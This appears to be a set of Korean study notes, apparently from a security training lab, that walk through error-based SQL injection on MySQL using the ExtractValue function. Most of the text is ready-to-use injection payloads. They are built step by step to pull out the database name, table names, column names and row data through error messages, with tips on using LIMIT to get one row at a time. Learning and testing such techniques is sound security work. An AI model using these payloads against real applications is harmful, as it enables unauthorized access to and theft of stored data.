: 에러메세지를 활용하여 SQL 질의문을 삽입하여 데이터를 추출한다. 에러메세지 안에 결과를 포함한다.
MySQL,Oracle,MsSQL에 따라 다르다.
MySQL : ExtractValue 사용
ExtractValue(xml_flag,xpath_expr)
Xpath의 조건식을 지정해서 해당하는 XML노드의 값을 반환한다.
1. SQL Injection Point를 찾는다.
'을 넣어 우리가 원하는 SQL에러가 화면에 출력되고 있는지 확인.
2. 에러를 출력하는 함수를 선택한다.
ex) ExtractValue
3. 공격 format을 만든다.
chika' and extractvalue ('1',concat(0x3a,(______))) and '1'='1
select문을 만들고 복붙하면 괄호지옥에서 벗어날 수 있다.
4.DB 이름 출력 -> select database()
만들어놓은 공격 format에 적용
chika' and extractvalue ('1',concat(0x3a,(select database()))) and '1'='1
5. table 이름 출력->information_schema.tables
chika' and extractvalue ('1',concat(0x3a,(select table_name from information_schema.tables where table_schema='segfault_sql'))) and '1'='1
행이 여러 개 나와서 오류가 생긴다면 'limit'을 이용해서 하나만 출력되게 할 수 있다.
6. 컬럼 이름 출력
chika' and extractvalue ('1',concat(0x3a,(select column_name from information_schema.columns where table_name='game' limit 0,1))) and '1'='1
7. 데이터 출력
chika' and extractvalue ('1',concat(0x3a,(select name from game limit 0,1))) and '1'='1